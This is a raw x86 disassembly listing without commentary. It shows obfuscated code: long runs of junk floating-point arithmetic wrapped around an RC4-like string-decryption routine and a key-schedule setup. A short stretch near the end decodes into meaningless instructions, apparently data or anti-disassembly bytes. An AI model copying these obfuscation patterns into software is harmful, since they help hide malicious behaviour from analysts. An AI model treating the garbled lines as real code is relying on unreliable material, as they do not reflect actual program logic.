subss xmm0, dword [ebp - 0x3770]
movss dword [ebp - 0x3e44], xmm0
movss xmm0, dword [ebp - 0x352c]
subss xmm0, dword [ebp - 0x3774]
movss dword [ebp - 0x352c], xmm0
movss xmm0, dword [ebp - 0x352c]
divss xmm0, dword [ebp - 0x3e44]
movss dword [ebp - 0x352c], xmm0
movss xmm0, dword [ebp - 0x3774]
subss xmm0, dword [ebp - 0x3770]
movss dword [ebp - 0x3774], xmm0
movss xmm0, dword [ebp - 0x3828]
divss xmm0, dword [ebp - 0x352c]
movss dword [ebp - 0x3828], xmm0
movss xmm0, dword [ebp - 0x36b4]
mulss xmm0, dword [ebp - 0x3828]
movss dword [ebp - 0x36b4], xmm0
movss xmm0, dword [ebp - 0x3774]
divss xmm0, dword [ebp - 0x3770]
movss dword [ebp - 0x3774], xmm0
movss xmm0, dword [ebp - 0x3774]
subss xmm0, dword [ebp - 0x3770]
movss dword [ebp - 0x3774], xmm0
movss xmm0, dword [ebp - 0x352c]
comiss xmm0, dword [ebp - 0x3774]
jbe 0x43cf3a
movss xmm0, dword [ebp - 0x352c]
divss xmm0, dword [ebp - 0x3774]
movss dword [ebp - 0x352c], xmm0
movss xmm0, dword [ebp - 0x3e44]
subss xmm0, dword [ebp - 0x3770]
movss dword [ebp - 0x3e44], xmm0
movss xmm0, dword [ebp - 0x3770]
divss xmm0, dword [ebp - 0x3828]
movss dword [ebp - 0x3770], xmm0
movss xmm0, dword [ebp - 0x352c]
mulss xmm0, dword [ebp - 0x3774]
movss dword [ebp - 0x352c], xmm0
movss xmm0, dword [ebp - 0x3e44]
divss xmm0, dword [ebp - 0x3770]
movss dword [ebp - 0x3e44], xmm0
movss xmm0, dword [ebp - 0x352c]
subss xmm0, dword [ebp - 0x3774]
movss dword [ebp - 0x352c], xmm0
jmp 0x43cfca
movss xmm0, dword [ebp - 0x3770]
mulss xmm0, dword [ebp - 0x36b4]
movss dword [ebp - 0x3770], xmm0
movss xmm0, dword [ebp - 0x3774]
subss xmm0, dword [ebp - 0x3770]
movss dword [ebp - 0x3774], xmm0
movss xmm0, dword [ebp - 0x3770]
addss xmm0, dword [ebp - 0x36b4]
movss dword [ebp - 0x3770], xmm0
movss xmm0, dword [ebp - 0x3770]
addss xmm0, dword [ebp - 0x36b4]
movss dword [ebp - 0x3770], xmm0
movss xmm0, dword [ebp - 0x3828]
divss xmm0, dword [ebp - 0x352c]
movss dword [ebp - 0x3828], xmm0
movss xmm0, dword [ebp - 0x36b4]
addss xmm0, dword [ebp - 0x3828]
movss dword [ebp - 0x36b4], xmm0
mov dword [ebp - 0x39f0], 0x1f
mov ecx, dword [ebp - 0x338c]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3ab4], edx
mov eax, dword [ebp - 0x3ab8]
add eax, dword [ebp - 0x3ab4]
movzx ecx, byte [eax]
mov dword [ebp - 0x39ec], ecx
mov dword [ebp - 0x39c0], 0x40
mov edx, dword [ebp - 0x39f4]
sub edx, dword [ebp - 0x39f0]
mov dword [ebp - 0x39c4], edx
mov eax, dword [ebp - 0x39ec]
sub eax, dword [ebp - 0x39c0]
mov dword [ebp - 0x39c8], eax
mov ecx, dword [ebp - 0x39c4]
shl ecx, 4
mov dword [ebp - 0x3ab0], ecx
mov edx, dword [ebp - 0x39c8]
mov dword [ebp - 0x3aac], edx
mov eax, dword [ebp - 0x3ab0]
or eax, dword [ebp - 0x3aac]
mov dword [ebp - 0x3aa8], eax
mov cl, byte [ebp - 0x3aa8]
mov byte [ebp - 0x32f1], cl
movzx edx, byte [ebp - 0x32a9]
mov al, byte [ebp + edx - 0x5c20]
mov byte [ebp - 0x32f3], al
movzx ecx, byte [ebp - 0x3279]
movzx edx, byte [ebp + ecx - 0x5c20]
movzx eax, byte [ebp - 0x328f]
add eax, edx
mov byte [ebp - 0x328f], al
mov cl, byte [ebp - 0x3279]
add cl, 1
mov byte [ebp - 0x3279], cl
movzx edx, byte [ebp - 0x328f]
movzx eax, byte [ebp - 0x32a9]
mov cl, byte [ebp + edx - 0x5c20]
mov byte [ebp + eax - 0x5c20], cl
movzx edx, byte [ebp - 0x3290]
movzx eax, byte [ebp - 0x328f]
mov cl, byte [ebp + edx - 0x5c20]
mov byte [ebp + eax - 0x5c20], cl
movzx edx, byte [ebp - 0x3279]
movzx eax, byte [ebp - 0x3290]
mov cl, byte [ebp + edx - 0x5c20]
mov byte [ebp + eax - 0x5c20], cl
movzx edx, byte [ebp - 0x3279]
mov al, byte [ebp - 0x32f3]
mov byte [ebp + edx - 0x5c20], al
movzx ecx, byte [ebp - 0x32f3]
movzx edx, byte [ebp + ecx - 0x5c20]
movzx eax, byte [ebp - 0x32f2]
add eax, edx
mov byte [ebp - 0x32f2], al
movzx ecx, byte [ebp - 0x32f1]
movzx edx, byte [ebp - 0x328f]
movzx eax, byte [ebp + edx - 0x5c20]
movzx edx, byte [ebp - 0x3279]
movzx edx, byte [ebp + edx - 0x5c20]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5c20]
xor ecx, eax
movzx edx, byte [ebp - 0x3290]
movzx eax, byte [ebp + edx - 0x5c20]
movzx edx, byte [ebp - 0x32a9]
movzx edx, byte [ebp + edx - 0x5c20]
add eax, edx
movzx edx, byte [ebp - 0x32f2]
movzx edx, byte [ebp + edx - 0x5c20]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5c20]
movzx edx, byte [ebp + eax - 0x5c20]
xor ecx, edx
mov byte [ebp - 0x3290], cl
mov al, byte [ebp - 0x32f1]
mov byte [ebp - 0x32a9], al
mov cl, byte [ebp - 0x3290]
mov byte [ebp - 0x332e], cl
cmp dword [ebp - 0x338c], 0
jle 0x43d1e2
movsx dx, byte [ebp - 0x332e]
mov eax, dword [ebp - 0x338c]
mov word [ebp + eax*2 - 0x34e], dx
mov ecx, dword [ebp - 0x35e8]
add ecx, 0x10
mov dword [ebp - 0x35e8], ecx
mov edx, dword [ebp - 0x338c]
add edx, 1
mov dword [ebp - 0x4a7c], edx
jmp 0x43d211
mov eax, dword [ebp - 0x4a7c]
add eax, 1
mov dword [ebp - 0x4a7c], eax
mov ecx, dword [ebp - 0x4a7c]
cmp ecx, dword [ebp - 0x35e8]
jge 0x43d473
mov edx, dword [ebp - 0x338c]
add edx, 1
mov dword [ebp - 0x338c], edx
mov eax, dword [ebp - 0x338c]
shl eax, 1
mov dword [ebp - 0x3a5c], eax
mov ecx, dword [ebp - 0x3ab8]
add ecx, dword [ebp - 0x3a5c]
movzx edx, byte [ecx]
mov dword [ebp - 0x39f4], edx
mov dword [ebp - 0x39f0], 0x1f
mov eax, dword [ebp - 0x338c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3ab4], ecx
mov edx, dword [ebp - 0x3ab8]
add edx, dword [ebp - 0x3ab4]
movzx eax, byte [edx]
mov dword [ebp - 0x39ec], eax
mov dword [ebp - 0x39c0], 0x40
mov ecx, dword [ebp - 0x39f4]
sub ecx, dword [ebp - 0x39f0]
mov dword [ebp - 0x39c4], ecx
mov edx, dword [ebp - 0x39ec]
sub edx, dword [ebp - 0x39c0]
mov dword [ebp - 0x39c8], edx
mov eax, dword [ebp - 0x39c4]
shl eax, 4
mov dword [ebp - 0x3ab0], eax
mov ecx, dword [ebp - 0x39c8]
mov dword [ebp - 0x3aac], ecx
mov edx, dword [ebp - 0x3ab0]
or edx, dword [ebp - 0x3aac]
mov dword [ebp - 0x3aa8], edx
mov al, byte [ebp - 0x3aa8]
mov byte [ebp - 0x32f1], al
movzx ecx, byte [ebp - 0x32a9]
mov dl, byte [ebp + ecx - 0x5c20]
mov byte [ebp - 0x32f3], dl
movzx eax, byte [ebp - 0x3279]
movzx ecx, byte [ebp + eax - 0x5c20]
movzx edx, byte [ebp - 0x328f]
add edx, ecx
mov byte [ebp - 0x328f], dl
mov al, byte [ebp - 0x3279]
add al, 1
mov byte [ebp - 0x3279], al
movzx ecx, byte [ebp - 0x328f]
movzx edx, byte [ebp - 0x32a9]
mov al, byte [ebp + ecx - 0x5c20]
mov byte [ebp + edx - 0x5c20], al
movzx ecx, byte [ebp - 0x3290]
movzx edx, byte [ebp - 0x328f]
mov al, byte [ebp + ecx - 0x5c20]
mov byte [ebp + edx - 0x5c20], al
movzx ecx, byte [ebp - 0x3279]
movzx edx, byte [ebp - 0x3290]
mov al, byte [ebp + ecx - 0x5c20]
mov byte [ebp + edx - 0x5c20], al
movzx ecx, byte [ebp - 0x3279]
mov dl, byte [ebp - 0x32f3]
mov byte [ebp + ecx - 0x5c20], dl
movzx eax, byte [ebp - 0x32f3]
movzx ecx, byte [ebp + eax - 0x5c20]
movzx edx, byte [ebp - 0x32f2]
add edx, ecx
mov byte [ebp - 0x32f2], dl
movzx eax, byte [ebp - 0x32f1]
movzx ecx, byte [ebp - 0x328f]
movzx edx, byte [ebp + ecx - 0x5c20]
movzx ecx, byte [ebp - 0x3279]
movzx ecx, byte [ebp + ecx - 0x5c20]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5c20]
xor eax, edx
movzx ecx, byte [ebp - 0x3290]
movzx edx, byte [ebp + ecx - 0x5c20]
movzx ecx, byte [ebp - 0x32a9]
movzx ecx, byte [ebp + ecx - 0x5c20]
add edx, ecx
movzx ecx, byte [ebp - 0x32f2]
movzx ecx, byte [ebp + ecx - 0x5c20]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5c20]
movzx ecx, byte [ebp + edx - 0x5c20]
xor eax, ecx
mov byte [ebp - 0x3290], al
mov dl, byte [ebp - 0x32f1]
mov byte [ebp - 0x32a9], dl
mov al, byte [ebp - 0x3290]
mov byte [ebp - 0x332e], al
cmp dword [ebp - 0x338c], 0
jle 0x43d46e
movsx cx, byte [ebp - 0x332e]
mov edx, dword [ebp - 0x338c]
mov word [ebp + edx*2 - 0x34e], cx
jmp 0x43d202
mov eax, dword [ebp - 0x35e8]
add eax, 1
mov dword [ebp - 0x35e8], eax
mov ecx, dword [ebp - 0x338c]
add ecx, 1
mov dword [ebp - 0x338c], ecx
mov edx, dword [ebp - 0x35e8]
add edx, 1
mov dword [ebp - 0x35e8], edx
mov eax, dword [ebp - 0x338c]
shl eax, 1
mov dword [ebp - 0x3a5c], eax
mov ecx, dword [ebp - 0x3ab8]
add ecx, dword [ebp - 0x3a5c]
movzx edx, byte [ecx]
mov dword [ebp - 0x39f4], edx
mov dword [ebp - 0x39f0], 0x1f
mov eax, dword [ebp - 0x338c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3ab4], ecx
mov edx, dword [ebp - 0x3ab8]
add edx, dword [ebp - 0x3ab4]
movzx eax, byte [edx]
mov dword [ebp - 0x39ec], eax
mov dword [ebp - 0x39c0], 0x40
mov ecx, dword [ebp - 0x39f4]
sub ecx, dword [ebp - 0x39f0]
mov dword [ebp - 0x39c4], ecx
mov edx, dword [ebp - 0x39ec]
sub edx, dword [ebp - 0x39c0]
mov dword [ebp - 0x39c8], edx
mov eax, dword [ebp - 0x39c4]
shl eax, 4
mov dword [ebp - 0x3ab0], eax
mov ecx, dword [ebp - 0x39c8]
mov dword [ebp - 0x3aac], ecx
mov edx, dword [ebp - 0x3ab0]
or edx, dword [ebp - 0x3aac]
mov dword [ebp - 0x3aa8], edx
mov al, byte [ebp - 0x3aa8]
mov byte [ebp - 0x32f1], al
movzx ecx, byte [ebp - 0x32a9]
mov dl, byte [ebp + ecx - 0x5c20]
mov byte [ebp - 0x32f3], dl
movzx eax, byte [ebp - 0x3279]
movzx ecx, byte [ebp + eax - 0x5c20]
movzx edx, byte [ebp - 0x328f]
add edx, ecx
mov byte [ebp - 0x328f], dl
mov al, byte [ebp - 0x3279]
add al, 1
mov byte [ebp - 0x3279], al
movzx ecx, byte [ebp - 0x328f]
movzx edx, byte [ebp - 0x32a9]
mov al, byte [ebp + ecx - 0x5c20]
mov byte [ebp + edx - 0x5c20], al
movzx ecx, byte [ebp - 0x3290]
movzx edx, byte [ebp - 0x328f]
mov al, byte [ebp + ecx - 0x5c20]
mov byte [ebp + edx - 0x5c20], al
movzx ecx, byte [ebp - 0x3279]
movzx edx, byte [ebp - 0x3290]
mov al, byte [ebp + ecx - 0x5c20]
mov byte [ebp + edx - 0x5c20], al
movzx ecx, byte [ebp - 0x3279]
mov dl, byte [ebp - 0x32f3]
mov byte [ebp + ecx - 0x5c20], dl
movzx eax, byte [ebp - 0x32f3]
movzx ecx, byte [ebp + eax - 0x5c20]
movzx edx, byte [ebp - 0x32f2]
add edx, ecx
mov byte [ebp - 0x32f2], dl
movzx eax, byte [ebp - 0x32f1]
movzx ecx, byte [ebp - 0x328f]
movzx edx, byte [ebp + ecx - 0x5c20]
movzx ecx, byte [ebp - 0x3279]
movzx ecx, byte [ebp + ecx - 0x5c20]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5c20]
xor eax, edx
movzx ecx, byte [ebp - 0x3290]
movzx edx, byte [ebp + ecx - 0x5c20]
movzx ecx, byte [ebp - 0x32a9]
movzx ecx, byte [ebp + ecx - 0x5c20]
add edx, ecx
movzx ecx, byte [ebp - 0x32f2]
movzx ecx, byte [ebp + ecx - 0x5c20]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5c20]
movzx ecx, byte [ebp + edx - 0x5c20]
xor eax, ecx
mov byte [ebp - 0x3290], al
mov dl, byte [ebp - 0x32f1]
mov byte [ebp - 0x32a9], dl
mov al, byte [ebp - 0x3290]
mov byte [ebp - 0x332e], al
cmp dword [ebp - 0x338c], 0
jle 0x43d6dc
movsx cx, byte [ebp - 0x332e]
mov edx, dword [ebp - 0x338c]
mov word [ebp + edx*2 - 0x34e], cx
mov eax, dword [ebp - 0x338c]
add eax, 1
mov dword [ebp - 0x338c], eax
mov ecx, dword [ebp - 0x35e8]
add ecx, 1
mov dword [ebp - 0x35e8], ecx
mov edx, dword [ebp - 0x338c]
shl edx, 1
mov dword [ebp - 0x3a5c], edx
mov eax, dword [ebp - 0x3ab8]
add eax, dword [ebp - 0x3a5c]
movzx ecx, byte [eax]
mov dword [ebp - 0x39f4], ecx
mov dword [ebp - 0x39f0], 0x1f
mov edx, dword [ebp - 0x338c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3ab4], eax
mov ecx, dword [ebp - 0x3ab8]
add ecx, dword [ebp - 0x3ab4]
movzx edx, byte [ecx]
mov dword [ebp - 0x39ec], edx
mov dword [ebp - 0x39c0], 0x40
mov eax, dword [ebp - 0x39f4]
sub eax, dword [ebp - 0x39f0]
mov dword [ebp - 0x39c4], eax
mov ecx, dword [ebp - 0x39ec]
sub ecx, dword [ebp - 0x39c0]
mov dword [ebp - 0x39c8], ecx
mov edx, dword [ebp - 0x39c4]
shl edx, 4
mov dword [ebp - 0x3ab0], edx
mov eax, dword [ebp - 0x39c8]
mov dword [ebp - 0x3aac], eax
mov ecx, dword [ebp - 0x3ab0]
or ecx, dword [ebp - 0x3aac]
mov dword [ebp - 0x3aa8], ecx
mov dl, byte [ebp - 0x3aa8]
mov byte [ebp - 0x32f1], dl
movzx eax, byte [ebp - 0x32a9]
mov cl, byte [ebp + eax - 0x5c20]
mov byte [ebp - 0x32f3], cl
movzx edx, byte [ebp - 0x3279]
movzx eax, byte [ebp + edx - 0x5c20]
movzx ecx, byte [ebp - 0x328f]
add ecx, eax
mov byte [ebp - 0x328f], cl
mov dl, byte [ebp - 0x3279]
add dl, 1
mov byte [ebp - 0x3279], dl
movzx eax, byte [ebp - 0x328f]
movzx ecx, byte [ebp - 0x32a9]
mov dl, byte [ebp + eax - 0x5c20]
mov byte [ebp + ecx - 0x5c20], dl
movzx eax, byte [ebp - 0x3290]
movzx ecx, byte [ebp - 0x328f]
mov dl, byte [ebp + eax - 0x5c20]
mov byte [ebp + ecx - 0x5c20], dl
movss xmm0, dword [0xa6f234]
movss dword [ebp - 0x3b98], xmm0
movss xmm0, dword [0xa6f1a8]
movss dword [ebp - 0x34dc], xmm0
movss xmm0, dword [0xa6f124]
movss dword [ebp - 0x348c], xmm0
movss xmm0, dword [0xa6f078]
movss dword [ebp - 0x342c], xmm0
movss xmm0, dword [0xa6efe8]
movss dword [ebp - 0x33c0], xmm0
movss xmm0, dword [ebp - 0x342c]
addss xmm0, dword [ebp - 0x33c0]
movss dword [ebp - 0x342c], xmm0
movss xmm0, dword [ebp - 0x3b98]
subss xmm0, dword [ebp - 0x33c0]
movss dword [ebp - 0x3b98], xmm0
movss xmm0, dword [ebp - 0x3b98]
addss xmm0, dword [ebp - 0x33c0]
movss dword [ebp - 0x3b98], xmm0
movss xmm0, dword [ebp - 0x342c]
addss xmm0, dword [ebp - 0x33c0]
movss dword [ebp - 0x342c], xmm0
movss xmm0, dword [ebp - 0x342c]
addss xmm0, dword [ebp - 0x33c0]
movss dword [ebp - 0x342c], xmm0
movss xmm0, dword [ebp - 0x342c]
comiss xmm0, dword [ebp - 0x33c0]
jbe 0x43d9a2
movss xmm0, dword [ebp - 0x342c]
subss xmm0, dword [ebp - 0x33c0]
movss dword [ebp - 0x342c], xmm0
movss xmm0, dword [ebp - 0x348c]
addss xmm0, dword [ebp - 0x342c]
movss dword [ebp - 0x348c], xmm0
movss xmm0, dword [ebp - 0x3b98]
mulss xmm0, dword [ebp - 0x34dc]
movss dword [ebp - 0x3b98], xmm0
movss xmm0, dword [ebp - 0x348c]
addss xmm0, dword [ebp - 0x342c]
movss dword [ebp - 0x348c], xmm0
movss xmm0, dword [ebp - 0x342c]
mulss xmm0, dword [ebp - 0x33c0]
movss dword [ebp - 0x342c], xmm0
movzx eax, byte [ebp - 0x3279]
movzx ecx, byte [ebp - 0x3290]
mov dl, byte [ebp + eax - 0x5c20]
mov byte [ebp + ecx - 0x5c20], dl
jmp 0x43dd13
movss xmm0, dword [ebp - 0x33c0]
addss xmm0, dword [ebp - 0x34dc]
movss dword [ebp - 0x33c0], xmm0
movss xmm0, dword [ebp - 0x33c0]
mulss xmm0, dword [ebp - 0x34dc]
movss dword [ebp - 0x33c0], xmm0
movss xmm0, dword [ebp - 0x3b98]
addss xmm0, dword [ebp - 0x348c]
movss dword [ebp - 0x3b98], xmm0
movss xmm0, dword [ebp - 0x342c]
divss xmm0, dword [ebp - 0x3b98]
movss dword [ebp - 0x342c], xmm0
movss xmm0, dword [ebp - 0x33c0]
addss xmm0, dword [ebp - 0x34dc]
movss dword [ebp - 0x33c0], xmm0
movss xmm0, dword [ebp - 0x33c0]
subss xmm0, dword [ebp - 0x34dc]
movss dword [ebp - 0x33c0], xmm0
movss xmm0, dword [ebp - 0x342c]
mulss xmm0, dword [ebp - 0x3b98]
movss dword [ebp - 0x342c], xmm0
movss xmm0, dword [ebp - 0x33c0]
subss xmm0, dword [ebp - 0x34dc]
movss dword [ebp - 0x33c0], xmm0
movss xmm0, dword [ebp - 0x33c0]
divss xmm0, dword [ebp - 0x34dc]
movss dword [ebp - 0x33c0], xmm0
movss xmm0, dword [ebp - 0x348c]
subss xmm0, dword [ebp - 0x33c0]
movss dword [ebp - 0x348c], xmm0
movss xmm0, dword [ebp - 0x342c]
comiss xmm0, dword [ebp - 0x34dc]
jbe 0x43db20
movss xmm0, dword [ebp - 0x342c]
subss xmm0, dword [ebp - 0x33c0]
movss dword [ebp - 0x342c], xmm0
movss xmm0, dword [ebp - 0x34dc]
addss xmm0, dword [ebp - 0x348c]
movss dword [ebp - 0x34dc], xmm0
movss xmm0, dword [ebp - 0x33c0]
addss xmm0, dword [ebp - 0x3b98]
movss dword [ebp - 0x33c0], xmm0
movss xmm0, dword [ebp - 0x348c]
mulss xmm0, dword [ebp - 0x342c]
movss dword [ebp - 0x348c], xmm0
movss xmm0, dword [ebp - 0x348c]
mulss xmm0, dword [ebp - 0x342c]
movss dword [ebp - 0x348c], xmm0
jmp 0x43dd13
movss xmm0, dword [ebp - 0x342c]
addss xmm0, dword [ebp - 0x3b98]
movss dword [ebp - 0x342c], xmm0
movss xmm0, dword [ebp - 0x3b98]
addss xmm0, dword [ebp - 0x348c]
movss dword [ebp - 0x3b98], xmm0
movss xmm0, dword [ebp - 0x348c]
addss xmm0, dword [ebp - 0x33c0]
movss dword [ebp - 0x348c], xmm0
movss xmm0, dword [ebp - 0x34dc]
addss xmm0, dword [ebp - 0x342c]
movss dword [ebp - 0x34dc], xmm0
movss xmm0, dword [ebp - 0x34dc]
subss xmm0, dword [ebp - 0x342c]
movss dword [ebp - 0x34dc], xmm0
movss xmm0, dword [ebp - 0x33c0]
addss xmm0, dword [ebp - 0x34dc]
movss dword [ebp - 0x33c0], xmm0
movss xmm0, dword [ebp - 0x348c]
addss xmm0, dword [ebp - 0x33c0]
movss dword [ebp - 0x348c], xmm0
movss xmm0, dword [ebp - 0x33c0]
addss xmm0, dword [ebp - 0x34dc]
movss dword [ebp - 0x33c0], xmm0
movss xmm0, dword [ebp - 0x34dc]
addss xmm0, dword [ebp - 0x342c]
movss dword [ebp - 0x34dc], xmm0
movss xmm0, dword [ebp - 0x33c0]
addss xmm0, dword [ebp - 0x34dc]
movss dword [ebp - 0x33c0], xmm0
movss xmm0, dword [ebp - 0x34dc]
comiss xmm0, dword [ebp - 0x33c0]
jbe 0x43dc9b
movss xmm0, dword [ebp - 0x348c]
addss xmm0, dword [ebp - 0x342c]
movss dword [ebp - 0x348c], xmm0
movss xmm0, dword [ebp - 0x34dc]
mulss xmm0, dword [ebp - 0x348c]
movss dword [ebp - 0x34dc], xmm0
movss xmm0, dword [ebp - 0x348c]
mulss xmm0, dword [ebp - 0x342c]
movss dword [ebp - 0x348c], xmm0
movss xmm0, dword [ebp - 0x33c0]
divss xmm0, dword [ebp - 0x3b98]
movss dword [ebp - 0x33c0], xmm0
movss xmm0, dword [ebp - 0x348c]
mulss xmm0, dword [ebp - 0x342c]
movss dword [ebp - 0x348c], xmm0
jmp 0x43dd13
movss xmm0, dword [ebp - 0x34dc]
addss xmm0, dword [ebp - 0x342c]
movss dword [ebp - 0x34dc], xmm0
movss xmm0, dword [ebp - 0x34dc]
mulss xmm0, dword [ebp - 0x342c]
movss dword [ebp - 0x34dc], xmm0
movss xmm0, dword [ebp - 0x348c]
mulss xmm0, dword [ebp - 0x33c0]
movss dword [ebp - 0x348c], xmm0
movss xmm0, dword [ebp - 0x33c0]
divss xmm0, dword [ebp - 0x34dc]
movss dword [ebp - 0x33c0], xmm0
movss xmm0, dword [ebp - 0x348c]
divss xmm0, dword [ebp - 0x33c0]
movss dword [ebp - 0x348c], xmm0
movzx eax, byte [ebp - 0x3279]
mov cl, byte [ebp - 0x32f3]
mov byte [ebp + eax - 0x5c20], cl
movzx edx, byte [ebp - 0x32f3]
movzx eax, byte [ebp + edx - 0x5c20]
movzx ecx, byte [ebp - 0x32f2]
add ecx, eax
mov byte [ebp - 0x32f2], cl
movzx edx, byte [ebp - 0x32f1]
movzx eax, byte [ebp - 0x328f]
movzx ecx, byte [ebp + eax - 0x5c20]
movzx eax, byte [ebp - 0x3279]
movzx eax, byte [ebp + eax - 0x5c20]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5c20]
xor edx, ecx
movzx eax, byte [ebp - 0x3290]
movzx ecx, byte [ebp + eax - 0x5c20]
movzx eax, byte [ebp - 0x32a9]
movzx eax, byte [ebp + eax - 0x5c20]
add ecx, eax
movzx eax, byte [ebp - 0x32f2]
movzx eax, byte [ebp + eax - 0x5c20]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5c20]
movzx eax, byte [ebp + ecx - 0x5c20]
xor edx, eax
mov byte [ebp - 0x3290], dl
mov cl, byte [ebp - 0x32f1]
mov byte [ebp - 0x32a9], cl
mov dl, byte [ebp - 0x3290]
mov byte [ebp - 0x332e], dl
cmp dword [ebp - 0x338c], 0
jle 0x43de02
movsx ax, byte [ebp - 0x332e]
mov ecx, dword [ebp - 0x338c]
mov word [ebp + ecx*2 - 0x34e], ax
mov edx, 2
imul eax, edx, 0x24
mov dword [ebp - 0x5190], eax
cmp dword [ebp - 0x5190], 0x4a
jae 0x43de1b
jmp 0x43de20
call fcn.009f1ed7
xor ecx, ecx
mov edx, dword [ebp - 0x5190]
mov word [ebp + edx - 0x34c], cx
jmp 0x43de86
mov dword [ebp - 0x4824], 0
jmp 0x43de4d
mov eax, dword [ebp - 0x4824]
add eax, 1
mov dword [ebp - 0x4824], eax
cmp dword [ebp - 0x4824], 0x25
jge 0x43de86
mov ecx, dword [ebp - 0x4824]
shl ecx, 1
mov dword [ebp - 0x518c], ecx
cmp dword [ebp - 0x518c], 0x4a
jae 0x43de6f
jmp 0x43de74
call fcn.009f1ed7
xor edx, edx
mov eax, dword [ebp - 0x518c]
mov word [ebp + eax - 0x34c], dx
jmp 0x43de3e
push 0
push 1
mov ecx, dword [ebp - 0x458c]
push ecx
lea edx, [ebp - 0x204]
push edx
push 0
lea eax, [ebp - 0x34c]
push eax
movzx ecx, byte [ebp + 0xc]
push ecx
call fcn.00428c90
add esp, 0x1c
mov dword [ebp - 0x31dc], 0
mov dword [ebp - 0x31d8], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x4764], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45b0], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45b0], xmm0
jmp 0x43defd
movsd xmm0, qword [ebp - 0x45b0]
addsd xmm0, qword [0xa6e340]
movsd qword [ebp - 0x45b0], xmm0
movsd xmm0, qword [0xa6e770]
comisd xmm0, xmmword [ebp - 0x45b0]
jbe 0x43dfae
movsd xmm0, qword [0xa6e688]
mulsd xmm0, qword [ebp - 0x45b0]
mulsd xmm0, qword [ebp - 0x45b0]
movsd xmm1, qword [ebp - 0x45b0]
mulsd xmm1, qword [ebp - 0x45b0]
subsd xmm0, xmm1
movsd xmm1, qword [0xa6e410]
mulsd xmm1, qword [ebp - 0x45b0]
add dl, dh
mulps xmm1, xmmword [ebp - 0x45b0]
push edx
mulps xmm1, xmmword [ebp - 0x45b0]
mulsd xmm1, qword [ebp - 0x45b0]
addsd xmm1, qword [0xa6e4e0]
divsd xmm0, xmm1
cmpsb byte [esi], byte es:[edi]
add dl, dh
divps xmm0, xmm1
addsd xmm0, qword [ebp - 0x4764]
movsd qword [ebp - 0x4764], xmm0
movsd xmm0, qword [ebp - 0x4764]
comisd xmm0, xmmword [0xa6e5d0]
jbe 0x43dfa9
movsd xmm0, qword [0xa6e308]
mulsd xmm0, qword [ebp - 0x45b0]
movsd xmm1, qword [ebp - 0x4764]
subsd xmm1, xmm0
movsd qword [ebp - 0x4764], xmm1
jmp 0x43dee5
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x4764]
jbe 0x43dfe5
loopne 0x43df46
loope 0x43df4e
out 0x86, eax
out 0x91, eax
out 0x8d, al
fist word [ebp - 0x791c781d]
loope 0x43df5d
jbe 0x43e02a
and byte [ebp + 0x5d], ah
and ecx, dword [ebx + 0x7b]
xor eax, 0x565c5c5b
and cl, byte [eax + 0x7b]
pop edi
dec esi
xor ebp, ecx
xor esp, dword [ebx]
add byte [eax], al
mov dword [ebp - 0x31dc], 0x43dfbb
mov dword [ebp - 0x31d8], 0x43dfcd
mov edx, dword [ebp - 0x31dc]
mov dword [ebp - 0x3834], edx
mov eax, dword [ebp - 0x31d8]
mov dword [ebp - 0x5fcc], eax
mov byte [ebp - 0x3fe3], 0x17
mov dword [ebp - 0x382c], 0
jmp 0x43e033
mov ecx, dword [ebp - 0x382c]
add ecx, 1
mov dword [ebp - 0x382c], ecx
cmp dword [ebp - 0x382c], 0x100
jae 0x43e054
mov edx, dword [ebp - 0x382c]
mov al, byte [ebp - 0x382c]
mov byte [ebp + edx - 0x5620], al
jmp 0x43e024
mov dword [ebp - 0x4528], 0
mov byte [ebp - 0x334f], 0
mov dword [ebp - 0x382c], 0xff
jmp 0x43e080
mov ecx, dword [ebp - 0x382c]
sub ecx, 1
mov dword [ebp - 0x382c], ecx
cmp dword [ebp - 0x382c], 0
jbe 0x43e2f0
mov dword [ebp - 0x4a80], 0
mov dword [ebp - 0x4820], 1
mov edx, dword [ebp - 0x4820]
cmp edx, dword [ebp - 0x382c]
jae 0x43e0c1
mov eax, dword [ebp - 0x4820]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x4820], ecx
jmp 0x43e0a1
mov edx, dword [ebp - 0x4528]
mov dword [ebp - 0x5188], edx
cmp dword [ebp - 0x5188], 3
ja case.default.0x43e0e0
mov eax, dword [ebp - 0x5188]
jmp dword [eax*4 + 0x46b560]
movzx ecx, byte [ebp - 0x334f]
movzx ebx, byte [ebp + ecx - 0x5620]
movsd xmm0, qword [ebp - 0x4764]
call fcn.009f23b0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334f], bl
jmp 0x43e1c9
movzx edx, byte [ebp - 0x334f]
movzx ebx, byte [ebp + edx - 0x5620]
movsd xmm0, qword [ebp - 0x4764]
call fcn.009f23b0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334f], bl
jmp 0x43e1c9
movzx eax, byte [ebp - 0x334f]
movzx ebx, byte [ebp + eax - 0x5620]
movsd xmm0, qword [ebp - 0x4764]
call fcn.009f23b0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334f], bl
jmp 0x43e1c9
movzx ecx, byte [ebp - 0x334f]
movzx ebx, byte [ebp + ecx - 0x5620]
movsd xmm0, qword [ebp - 0x4764]
call fcn.009f23b0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334f], bl
jmp 0x43e1c9
movzx edx, byte [ebp - 0x334f]
movzx eax, byte [ebp + edx - 0x5620]
mov ecx, dword [ebp - 0x5fcc]
